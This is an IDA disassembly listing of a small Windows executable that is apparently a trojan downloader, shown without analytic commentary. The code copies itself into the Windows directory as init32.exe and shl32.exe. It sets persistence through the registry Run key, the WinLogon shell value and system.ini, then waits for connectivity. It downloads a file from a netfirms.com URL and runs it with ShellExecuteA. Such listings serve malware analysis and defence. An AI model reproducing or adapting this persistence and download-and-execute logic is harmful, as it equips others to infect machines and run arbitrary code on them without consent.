; ; ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ» ; º This file is generated by The Interactive Disassembler (IDA) º ; º Copyright (c) 2004 by DataRescue sa/nv, º ; º Licensed to: Lennart Reus, 1 user, std, 07/2003 º ; ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ ; ; File Name : C:\Documents and Settings\sunnis\Desktop\intro[1].waviexplore.exe.bin ; Format : Portable executable for IBM PC (PE) ; Imagebase : 400000 ; Section 1. (virtual address 00001000) ; Virtual size : 00000592 ( 1426.) ; Section size in file : 00000600 ( 1536.) ; Offset to raw data for section: 00000400 ; Flags 60000020: Text Executable Readable ; Alignment : 16 bytes ? model flat ; ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ ; Segment type: Pure code ; Segment permissions: Read/Execute _text segment para public 'CODE' use32 assume cs:_text ;org 401000h assume es:nothing, ss:nothing, ds:_data, fs:nothing, gs:nothing ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ public start start proc near push 0 ; lpModuleName call GetModuleHandleA mov dword_403008, eax call GetCommandLineA mov dword_403000, eax push offset ProcName ; lpName push 1 ; bInitialOwner push 0 ; lpMutexAttributes call CreateMutexA call GetLastError cmp eax, 0B7h jz short loc_401045 push 0Ah push dword_403000 push 0 push dword_403008 call sub_40104B loc_401045: ; CODE XREF: start+2Ej push eax ; uExitCode call ExitProcess start endp ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ ; Attributes: bp-based frame sub_40104B proc near ; CODE XREF: start+40p push ebp mov ebp, esp push offset LibFileName ; lpLibFileName call LoadLibraryA push offset ProcName ; lpProcName push eax ; hModule call GetProcAddress or eax, eax jz short loc_401073 push 1 push 0 call eax loc_401073: ; CODE XREF: sub_40104B+1Aj call GetVersion shr eax, 1Fh mov dword_4030AC, eax push 14h ; uSize push offset Buffer ; lpBuffer call GetWindowsDirectoryA call sub_4011D0 loc_401091: ; CODE XREF: sub_40104B+66j call sub_4011BD cmp eax, 1 jnz short loc_4010A7 call sub_4013B4 cmp eax, 1 jnz short loc_4010A7 jmp short loc_4010B3 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_4010A7: ; CODE XREF: sub_40104B+4Ej ; sub_40104B+58j push 2710h ; dwMilliseconds call Sleep jmp short loc_401091 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_4010B3: ; CODE XREF: sub_40104B+5Aj mov eax, 0 leave retn 10h sub_40104B endp ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ ; Attributes: bp-based frame sub_4010BC proc near ; CODE XREF: sub_4013B4+55p ; sub_4013B4+6Bp var_24 = dword ptr -24h var_20 = dword ptr -20h nNumberOfBytesToWrite= dword ptr -1Ch hObject = dword ptr -18h NumberOfBytesWritten= dword ptr -14h hMem = dword ptr -10h lpBuffer = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 lpFileName = dword ptr 0Ch push ebp mov ebp, esp add esp, 0FFFFFFDCh mov eax, 1000h mov [ebp+nNumberOfBytesToWrite], eax mov [ebp+var_24], 1 mov [ebp+var_20], 0 push 0 ; hTemplateFile push 80h ; dwFlagsAndAttributes push 2 ; dwCreationDisposition push 0 ; lpSecurityAttributes push 2 ; dwShareMode push 40000000h ; dwDesiredAccess push [ebp+lpFileName] ; lpFileName call CreateFileA mov [ebp+hObject], eax push 0 push 0 push 0 push 0 push offset aMy_agent_11510 ; "my_agent_115100" call InternetOpenA mov [ebp+var_4], eax push 0 push 0 push 0 push 0 push [ebp+arg_0] push [ebp+var_4] call InternetOpenUrlA mov [ebp+var_8], eax cmp [ebp+var_8], 0 jnz short loc_40112F mov [ebp+var_24], 0 jmp short loc_401178 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_40112F: ; CODE XREF: sub_4010BC+68j push [ebp+nNumberOfBytesToWrite] ; uBytes push 0 ; uFlags call LocalAlloc mov [ebp+hMem], eax mov [ebp+lpBuffer], eax loc_40113F: ; CODE XREF: sub_4010BC+BAj lea eax, [ebp+var_20] push eax push [ebp+nNumberOfBytesToWrite] push [ebp+lpBuffer] push [ebp+var_8] call InternetReadFile or eax, eax jnz short loc_40115E mov [ebp+var_24], 0 jmp short loc_401178 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_40115E: ; CODE XREF: sub_4010BC+97j push 0 ; lpOverlapped lea eax, [ebp+NumberOfBytesWritten] push eax ; lpNumberOfBytesWritten push [ebp+nNumberOfBytesToWrite] ; nNumberOfBytesToWrite push [ebp+lpBuffer] ; lpBuffer push [ebp+hObject] ; hFile call WriteFile cmp [ebp+var_20], 0 jnz short loc_40113F loc_401178: ; CODE XREF: sub_4010BC+71j ; sub_4010BC+A0j push [ebp+hMem] ; hMem call LocalFree cmp [ebp+var_24], 1 jnz short loc_40119E push 0 ; lpFileSizeHigh push [ebp+hObject] ; hFile call GetFileSize cmp eax, 19000h ja short loc_40119E mov [ebp+var_24], 0 loc_40119E: ; CODE XREF: sub_4010BC+C8j ; sub_4010BC+D9j push [ebp+hObject] ; hObject call CloseHandle push [ebp+var_8] call InternetCloseHandle push [ebp+var_4] call InternetCloseHandle mov eax, [ebp+var_24] leave retn 8 sub_4010BC endp ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ ; Attributes: bp-based frame sub_4011BD proc near ; CODE XREF: sub_40104B:loc_401091p var_4 = dword ptr -4 push ebp mov ebp, esp add esp, 0FFFFFFFCh push 0 lea eax, [ebp+var_4] push eax call InternetGetConnectedState leave retn sub_4011BD endp ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ ; Attributes: bp-based frame sub_4011D0 proc near ; CODE XREF: sub_40104B+41p Data = byte ptr -40Ch NewFileName = byte ptr -30Ch var_20C = dword ptr -20Ch ExistingFileName= byte ptr -10Ch cbData = dword ptr -0Ch hKey = dword ptr -4 ; FUNCTION CHUNK AT 0040127C SIZE 00000107 BYTES ; FUNCTION CHUNK AT 00401399 SIZE 0000001B BYTES push ebp mov ebp, esp add esp, 0FFFFFBF4h lea eax, [ebp+Data] mov dword ptr [eax], 0 lea eax, [ebp+NewFileName] mov dword ptr [eax], 0 lea eax, [ebp+var_20C] mov dword ptr [eax], 0 lea eax, [ebp+ExistingFileName] mov dword ptr [eax], 0 jmp short loc_40127C sub_4011D0 endp ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ ; char SubKey[] SubKey db 'Software\Microsoft\Windows\CurrentVersion\Run',0 ; DATA XREF: sub_4011D0+10Ao ; char aSoftwareMicr_0[] aSoftwareMicr_0 db 'Software\Microsoft\Windows NT\CurrentVersion\WinLogon',0 ; DATA XREF: sub_4011D0+180o ; char aShell[] aShell db 'shell',0 ; DATA XREF: sub_4011D0+19Ao ; char ValueName[] ValueName db 'mstask',0 ; DATA XREF: sub_4011D0+127o ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ ; START OF FUNCTION CHUNK FOR sub_4011D0 loc_40127C: ; CODE XREF: sub_4011D0+39j push offset Buffer lea eax, [ebp+Data] push eax call sub_401530 push offset aInit32_exe ; "\\init32.exe" lea eax, [ebp+Data] push eax call sub_401530 lea eax, [ebp+Data] push eax call sub_401500 inc eax mov [ebp+cbData], eax push 0FFh ; nSize lea eax, [ebp+ExistingFileName] push eax ; lpFilename push 0 ; hModule call GetModuleFileNameA push 0 ; bFailIfExists lea eax, [ebp+Data] push eax ; lpNewFileName lea eax, [ebp+ExistingFileName] push eax ; lpExistingFileName call CopyFileA lea eax, [ebp+hKey] push eax ; phkResult push offset SubKey ; lpSubKey push 80000002h ; hKey call RegOpenKeyA push [ebp+cbData] ; cbData lea eax, [ebp+Data] push eax ; lpData push 1 ; dwType push 0 ; Reserved push offset ValueName ; lpValueName push [ebp+hKey] ; hKey call RegSetValueExA push [ebp+hKey] ; hKey call RegCloseKey push offset Buffer lea eax, [ebp+NewFileName] push eax call sub_401530 push offset aShl32_exe ; "\\shl32.exe" lea eax, [ebp+NewFileName] push eax call sub_401530 push 0 ; bFailIfExists lea eax, [ebp+NewFileName] push eax ; lpNewFileName lea eax, [ebp+ExistingFileName] push eax ; lpExistingFileName call CopyFileA cmp dword_4030AC, 0 jnz short loc_401381 lea eax, [ebp+hKey] push eax ; phkResult push offset aSoftwareMicr_0 ; lpSubKey push 80000002h ; hKey call RegOpenKeyA push 17h ; cbData push offset Data ; lpData push 1 ; dwType push 0 ; Reserved push offset aShell ; lpValueName push [ebp+hKey] ; hKey call RegSetValueExA push [ebp+hKey] ; hKey call RegCloseKey jmp short locret_4013B2 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_401381: ; CODE XREF: sub_4011D0+17Aj jmp short loc_401399 ; END OF FUNCTION CHUNK FOR sub_4011D0 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ ; char AppName[] AppName db 'BOOT',0 ; DATA XREF: sub_4011D0+1D8o ; char KeyName[] KeyName db 'shell',0 ; DATA XREF: sub_4011D0+1D3o ; char FileName[] FileName db 'system.ini',0 ; DATA XREF: sub_4011D0:loc_401399o ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ ; START OF FUNCTION CHUNK FOR sub_4011D0 loc_401399: ; CODE XREF: sub_4011D0:loc_401381j push offset FileName ; lpFileName push offset Data ; lpString push offset KeyName ; lpKeyName push offset AppName ; lpAppName call WritePrivateProfileStringA locret_4013B2: ; CODE XREF: sub_4011D0+1AFj leave retn ; END OF FUNCTION CHUNK FOR sub_4011D0 ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ ; Attributes: bp-based frame sub_4013B4 proc near ; CODE XREF: sub_40104B+50p File = byte ptr -104h push ebp mov ebp, esp add esp, 0FFFFFEFCh lea eax, [ebp+File] mov dword ptr [eax], 0 jmp short loc_4013DB ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ dword_4013CB dd 6E79735Ch, 652E7763h ; DATA XREF: sub_4013B4+38o db 78h, 65h, 0 ; char Operation[] Operation db 'open',0 ; DATA XREF: sub_4013B4+7Do ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_4013DB: ; CODE XREF: sub_4013B4+15j push 0FFh ; uSize lea eax, [ebp+File] push eax ; lpBuffer call GetWindowsDirectoryA push offset dword_4013CB lea eax, [ebp+File] push eax call sub_401530 lea eax, [ebp+File] push eax push offset aHttpGsmms1_net ; "http://gsmms1.netfirms.com/cgi-bin/get."... call sub_4010BC cmp eax, 0 jnz short loc_401424 lea eax, [ebp+File] push eax push offset aHttpGsmms1_n_0 ; "http://gsmms1.netfirms.com/cgi-bin/get."... call sub_4010BC loc_401424: ; CODE XREF: sub_4013B4+5Dj push 9 ; nShowCmd push 0 ; lpDirectory push 0 ; lpParameters lea eax, [ebp+File] push eax ; lpFile push offset Operation ; lpOperation push 0 ; hwnd call ShellExecuteA cmp eax, 20h ja short loc_401449 mov eax, 0 leave retn ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_401449: ; CODE XREF: sub_4013B4+8Cj mov eax, 1 leave retn sub_4013B4 endp ; [00000006 BYTES: COLLAPSED FUNCTION CloseHandle. PRESS KEYPAD "+" TO EXPAND] ; [00000006 BYTES: COLLAPSED FUNCTION CopyFileA. PRESS KEYPAD "+" TO EXPAND] ; [00000006 BYTES: COLLAPSED FUNCTION CreateFileA. PRESS KEYPAD "+" TO EXPAND] ; [00000006 BYTES: COLLAPSED FUNCTION CreateMutexA. PRESS KEYPAD "+" TO EXPAND] ; [00000006 BYTES: COLLAPSED FUNCTION ExitProcess. PRESS KEYPAD "+" TO EXPAND] ; [00000006 BYTES: COLLAPSED FUNCTION GetCommandLineA. PRESS KEYPAD "+" TO EXPAND] ; [00000006 BYTES: COLLAPSED FUNCTION GetFileSize. PRESS KEYPAD "+" TO EXPAND] ; [00000006 BYTES: COLLAPSED FUNCTION GetLastError. PRESS KEYPAD "+" TO EXPAND] ; [00000006 BYTES: COLLAPSED FUNCTION GetModuleFileNameA. PRESS KEYPAD "+" TO EXPAND] ; [00000006 BYTES: COLLAPSED FUNCTION GetModuleHandleA. PRESS KEYPAD "+" TO EXPAND] ; [00000006 BYTES: COLLAPSED FUNCTION GetProcAddress. PRESS KEYPAD "+" TO EXPAND] ; [00000006 BYTES: COLLAPSED FUNCTION GetVersion. PRESS KEYPAD "+" TO EXPAND] ; [00000006 BYTES: COLLAPSED FUNCTION GetWindowsDirectoryA. PRESS KEYPAD "+" TO EXPAND] ; [00000006 BYTES: COLLAPSED FUNCTION LoadLibraryA. PRESS KEYPAD "+" TO EXPAND] ; [00000006 BYTES: COLLAPSED FUNCTION LocalAlloc. PRESS KEYPAD "+" TO EXPAND] ; [00000006 BYTES: COLLAPSED FUNCTION LocalFree. PRESS KEYPAD "+" TO EXPAND] ; [00000006 BYTES: COLLAPSED FUNCTION Sleep. PRESS KEYPAD "+" TO EXPAND] ; [00000006 BYTES: COLLAPSED FUNCTION WriteFile. PRESS KEYPAD "+" TO EXPAND] ; [00000006 BYTES: COLLAPSED FUNCTION WritePrivateProfileStringA. PRESS KEYPAD "+" TO EXPAND] ; [00000006 BYTES: COLLAPSED FUNCTION InternetCloseHandle. PRESS KEYPAD "+" TO EXPAND] ; [00000006 BYTES: COLLAPSED FUNCTION InternetGetConnectedState. PRESS KEYPAD "+" TO EXPAND] ; [00000006 BYTES: COLLAPSED FUNCTION InternetOpenA. PRESS KEYPAD "+" TO EXPAND] ; [00000006 BYTES: COLLAPSED FUNCTION InternetOpenUrlA. PRESS KEYPAD "+" TO EXPAND] ; [00000006 BYTES: COLLAPSED FUNCTION InternetReadFile. PRESS KEYPAD "+" TO EXPAND] ; [00000006 BYTES: COLLAPSED FUNCTION RegCloseKey. PRESS KEYPAD "+" TO EXPAND] ; [00000006 BYTES: COLLAPSED FUNCTION RegOpenKeyA. PRESS KEYPAD "+" TO EXPAND] ; [00000006 BYTES: COLLAPSED FUNCTION RegSetValueExA. PRESS KEYPAD "+" TO EXPAND] align 10h ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ ; Attributes: bp-based frame sub_401500 proc near ; CODE XREF: sub_4011D0+D5p arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, [ebp+arg_0] xor edx, edx jmp short loc_40150C ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ align 4 loc_40150C: ; CODE XREF: sub_401500+8j ; sub_401500+26j mov dl, [eax] inc eax cmp dl, dh jz short loc_401528 mov dl, [eax] inc eax cmp dl, dh jz short loc_401528 mov dl, [eax] inc eax cmp dl, dh jz short loc_401528 mov dl, [eax] inc eax cmp dl, dh jnz short loc_40150C loc_401528: ; CODE XREF: sub_401500+11j ; sub_401500+18j ... sub eax, [ebp+arg_0] dec eax leave retn 4 sub_401500 endp ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ ; Attributes: bp-based frame sub_401530 proc near ; CODE XREF: sub_4011D0+B8p ; sub_4011D0+C9p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push [ebp+arg_0] call sub_401554 mov edx, [ebp+arg_0] mov ecx, [ebp+arg_4] add edx, eax loc_401543: ; CODE XREF: sub_401530+1Bj mov al, [ecx] mov [edx], al inc ecx inc edx test al, al jnz short loc_401543 leave retn 8 sub_401530 endp ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ align 4 ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ ; Attributes: bp-based frame sub_401554 proc near ; CODE XREF: sub_401530+6p arg_0 = dword ptr 8 push ebp mov ebp, esp push ebx mov eax, [ebp+arg_0] lea edx, [eax+3] loc_40155E: ; CODE XREF: sub_401554+1Fj mov ebx, [eax] add eax, 4 lea ecx, [ebx-1010101h] not ebx and ecx, ebx and ecx, 80808080h jz short loc_40155E test ecx, 8080h jnz short loc_401583 shr ecx, 10h add eax, 2 loc_401583: ; CODE XREF: sub_401554+27j shl cl, 1 sbb eax, edx pop ebx leave retn 4 sub_401554 endp ; [00000006 BYTES: COLLAPSED FUNCTION ShellExecuteA. PRESS KEYPAD "+" TO EXPAND] align 80h _text ends ; Section 2. (virtual address 00002000) ; Virtual size : 00000380 ( 896.) ; Section size in file : 00000400 ( 1024.) ; Offset to raw data for section: 00000A00 ; Flags 40000040: Data Readable ; Alignment : 16 bytes ? ; ; Imports from advapi32 ; ; ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ ; Segment type: Externs ; _idata ; LONG __stdcall __imp_RegCloseKey(HKEY hKey) extrn __imp_RegCloseKey:dword ; DATA XREF: RegCloseKeyr ; LONG __stdcall __imp_RegOpenKeyA(HKEY hKey,LPCSTR lpSubKey,PHKEY phkResult) extrn __imp_RegOpenKeyA:dword ; DATA XREF: RegOpenKeyAr ; LONG __stdcall __imp_RegSetValueExA(HKEY hKey,LPCSTR lpValueName,DWORD Reserved,DWORD dwType,const BYTE *lpData,DWORD cbData) extrn __imp_RegSetValueExA:dword ; DATA XREF: RegSetValueExAr ; ; Imports from kernel32 ; ; HANDLE __stdcall __imp_CreateMutexA(LPSECURITY_ATTRIBUTES lpMutexAttributes,BOOL bInitialOwner,LPCSTR lpName) extrn __imp_CreateMutexA:dword ; DATA XREF: CreateMutexAr ; HANDLE __stdcall __imp_CreateFileA(LPCSTR lpFileName,DWORD dwDesiredAccess,DWORD dwShareMode,LPSECURITY_ATTRIBUTES lpSecurityAttributes,DWORD dwCreationDisposition,DWORD dwFlagsAndAttributes,HANDLE hTemplateFile) extrn __imp_CreateFileA:dword ; DATA XREF: CreateFileAr ; LPSTR _imp_GetCommandLineA(void) extrn __imp_GetCommandLineA:dword ; DATA XREF: GetCommandLineAr ; DWORD __stdcall __imp_GetFileSize(HANDLE hFile,LPDWORD lpFileSizeHigh) extrn __imp_GetFileSize:dword ; DATA XREF: GetFileSizer ; BOOL __stdcall __imp_CopyFileA(LPCSTR lpExistingFileName,LPCSTR lpNewFileName,BOOL bFailIfExists) extrn __imp_CopyFileA:dword ; DATA XREF: CopyFileAr ; void __stdcall __imp_ExitProcess(UINT uExitCode) extrn __imp_ExitProcess:dword ; DATA XREF: ExitProcessr ; DWORD __stdcall __imp_GetModuleFileNameA(HMODULE hModule,LPSTR lpFilename,DWORD nSize) extrn __imp_GetModuleFileNameA:dword ; DATA XREF: GetModuleFileNameAr ; DWORD _imp_GetLastError(void) extrn __imp_GetLastError:dword ; DATA XREF: GetLastErrorr ; BOOL __stdcall __imp_CloseHandle(HANDLE hObject) extrn __imp_CloseHandle:dword ; DATA XREF: CloseHandler ; DWORD _imp_GetVersion(void) extrn __imp_GetVersion:dword ; DATA XREF: GetVersionr ; Get current version number of Windows ; and information about the operating system platform ; UINT __stdcall __imp_GetWindowsDirectoryA(LPSTR lpBuffer,UINT uSize) extrn __imp_GetWindowsDirectoryA:dword ; DATA XREF: GetWindowsDirectoryAr ; HMODULE __stdcall __imp_LoadLibraryA(LPCSTR lpLibFileName) extrn __imp_LoadLibraryA:dword ; DATA XREF: LoadLibraryAr ; HLOCAL __stdcall __imp_LocalAlloc(UINT uFlags,UINT uBytes) extrn __imp_LocalAlloc:dword ; DATA XREF: LocalAllocr ; FARPROC __stdcall __imp_GetProcAddress(HMODULE hModule,LPCSTR lpProcName) extrn __imp_GetProcAddress:dword ; DATA XREF: GetProcAddressr ; void __stdcall __imp_Sleep(DWORD dwMilliseconds) extrn __imp_Sleep:dword ; DATA XREF: Sleepr ; BOOL __stdcall __imp_WriteFile(HANDLE hFile,LPCVOID lpBuffer,DWORD nNumberOfBytesToWrite,LPDWORD lpNumberOfBytesWritten,LPOVERLAPPED lpOverlapped) extrn __imp_WriteFile:dword ; DATA XREF: WriteFiler ; BOOL __stdcall __imp_WritePrivateProfileStringA(LPCSTR lpAppName,LPCSTR lpKeyName,LPCSTR lpString,LPCSTR lpFileName) extrn __imp_WritePrivateProfileStringA:dword ; DATA XREF: WritePrivateProfileStringAr ; HMODULE __stdcall __imp_GetModuleHandleA(LPCSTR lpModuleName) extrn __imp_GetModuleHandleA:dword ; DATA XREF: GetModuleHandleAr ; HLOCAL __stdcall __imp_LocalFree(HLOCAL hMem) extrn __imp_LocalFree:dword ; DATA XREF: LocalFreer ; ; Imports from shell32 ; ; HINSTANCE __stdcall __imp_ShellExecuteA(HWND hwnd,LPCSTR lpOperation,LPCSTR lpFile,LPCSTR lpParameters,LPCSTR lpDirectory,INT nShowCmd) extrn __imp_ShellExecuteA:dword ; DATA XREF: ShellExecuteAr ; Opens or prints a specified file ; ; Imports from wininet ; extrn __imp_InternetOpenA:dword ; DATA XREF: InternetOpenAr extrn __imp_InternetReadFile:dword ; DATA XREF: InternetReadFiler extrn __imp_InternetOpenUrlA:dword ; DATA XREF: InternetOpenUrlAr extrn __imp_InternetGetConnectedState:dword ; DATA XREF: InternetGetConnectedStater extrn __imp_InternetCloseHandle:dword ; DATA XREF: InternetCloseHandler ; ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ ; Segment type: Pure data ; Segment permissions: Read _rdata segment para public 'DATA' use32 assume cs:_rdata ;org 402080h db 0F4h ; ô db 20h db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0A4h ; ¤ db 22h ; " db 0 db 0 db 10h db 20h db 0 db 0 db 4Ch ; L db 21h ; ! db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 1Ch db 23h ; # db 0 db 0 db 68h ; h db 20h db 0 db 0 db 0E4h ; ä db 20h db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 56h ; V db 23h ; # db 0 db 0 db 0 db 20h db 0 db 0 db 44h ; D db 21h ; ! db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 74h ; t db 23h ; # db 0 db 0 db 60h ; ` db 20h db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 28h ; ( db 23h ; # db 0 db 0 db 36h ; 6 db 23h ; # db 0 db 0 db 44h ; D db 23h ; # db 0 db 0 db 0 db 0 db 0 db 0 db 98h ; ˜ db 21h ; ! db 0 db 0 db 8Ah ; Š db 21h ; ! db 0 db 0 db 0B6h ; ¶ db 21h ; ! db 0 db 0 db 0C8h ; È db 21h ; ! db 0 db 0 db 7Eh ; ~ db 21h ; ! db 0 db 0 db 0A8h ; ¨ db 21h ; ! db 0 db 0 db 0E6h ; æ db 21h ; ! db 0 db 0 db 0D6h ; Ö db 21h ; ! db 0 db 0 db 70h ; p db 21h ; ! db 0 db 0 db 22h ; " db 22h ; " db 0 db 0 db 30h ; 0 db 22h ; " db 0 db 0 db 48h ; H db 22h ; " db 0 db 0 db 58h ; X db 22h ; " db 0 db 0 db 10h db 22h ; " db 0 db 0 db 72h ; r db 22h ; " db 0 db 0 db 7Ah ; z db 22h ; " db 0 db 0 db 86h ; † db 22h ; " db 0 db 0 db 0FCh ; ü db 21h ; ! db 0 db 0 db 66h ; f db 22h ; " db 0 db 0 db 0 db 0 db 0 db 0 db 64h ; d db 23h ; # db 0 db 0 db 0 db 0 db 0 db 0 db 0E4h ; ä db 22h ; " db 0 db 0 db 8 db 23h ; # db 0 db 0 db 0F4h ; ô db 22h ; " db 0 db 0 db 0C8h ; È db 22h ; " db 0 db 0 db 0B2h ; ² db 22h ; " db 0 db 0 db 0 db 0 db 0 db 0 db 75h ; u db 73h ; s db 65h ; e db 72h ; r db 33h ; 3 db 32h ; 